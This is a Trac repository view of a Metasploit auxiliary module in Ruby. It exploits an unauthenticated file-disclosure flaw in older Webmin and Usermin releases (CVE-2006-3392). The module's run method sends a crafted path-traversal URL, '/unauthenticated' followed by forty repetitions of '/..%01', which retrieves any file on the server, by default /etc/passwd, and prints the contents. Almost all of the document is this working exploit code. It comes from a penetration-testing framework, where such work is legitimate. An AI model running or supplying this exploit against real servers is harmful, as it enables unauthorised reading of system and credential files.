root/framework3/trunk/modules/auxiliary/admin/webmin/file_disclosure.rb

Revision 5282, 2.2 kB (checked in by hdm, 4 months ago)

New module from antoine

  • Property svn:keywords set to Rev Revision Id Header
Line 
1 ##
2 # $Id$
3 ##
4
5 ##
6 # This file is part of the Metasploit Framework and may be subject to
7 # redistribution and commercial restrictions. Please see the Metasploit
8 # Framework web site for more information on licensing and terms of use.
9 # http://metasploit.com/projects/Framework/
10 ##
11
12 require 'msf/core'
13
14 module Msf
15
16 class Auxiliary::Admin::Webmin::File_Disclosure < Msf::Auxiliary
17
18         include Exploit::Remote::HttpClient
19
20         def initialize(info = {})
21                 super(update_info(info,
22                         'Name'           => 'Webmin file disclosure',
23                         'Description'    => %q{
24                                 A vulnerability has been reported in Webmin and Usermin, which can be
25                                 exploited by malicious people to disclose potentially sensitive information.
26                                 The vulnerability is caused due to an unspecified error within the handling
27                                 of an URL. This can be exploited to read the contents of any files on the
28                                 server via a specially crafted URL, without requiring a valid login.
29                                 The vulnerability has been reported in Webmin (versions prior to 1.290) and
30                                 Usermin (versions prior to 1.220).
31                         },
32                         'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>' ],
33                         'License'        => MSF_LICENSE,
34                         'Version'        => '$Revision$',
35                         'References'     =>
36                                 [
37                                         ['OSVDB', '26772'],
38                                         ['BID', '18744'],
39                                         ['CVE', '2006-3392'],
40                                         ['MIL', '2017'],
41                                         ['URL', 'http://www.kb.cert.org/vuls/id/999601'],
42                                         ['URL', 'http://secunia.com/advisories/20892/'],
43                                 ],
44                         'DisclosureDate' => 'Jun 30 2006',
45                         'Actions'        =>
46                                 [
47                                         ['Download']
48                                 ],
49                         'DefaultAction'  => 'Download'
50                         ))
51
52                 register_options(
53                         [
54                                 Opt::RPORT(10000),
55                                 OptString.new('RPATH',
56                                         [
57                                                 true,
58                                                 "The file to download",
59                                                 "/etc/passwd"
60                                         ]
61                                 ),
62                                 OptString.new('DIR',
63                                         [
64                                                 true,
65                                                 "Webmin directory path",
66                                                 "/unauthenticated"
67                                         ]
68                                 ),
69                         ], self.class)
70         end
71
72         def run
73                 print_status("Attempting to retrieve #{datastore['RPATH']}...")
74
75                 uri = Rex::Text.uri_encode(datastore['DIR']) + "/..%01" * 40 + Rex::Text.uri_encode(datastore['RPATH'])
76
77                 res = send_request_raw({
78                         'uri'            => uri,
79                 }, 10)
80
81                 if (res)
82                         print_status("The server returned: #{res.code} #{res.message}")
83                         print(res.body)
84                 else
85                         print_status("No response from the server")
86                 end
87         end
88
89 end
90 end
Note: See TracBrowser for help on using the browser.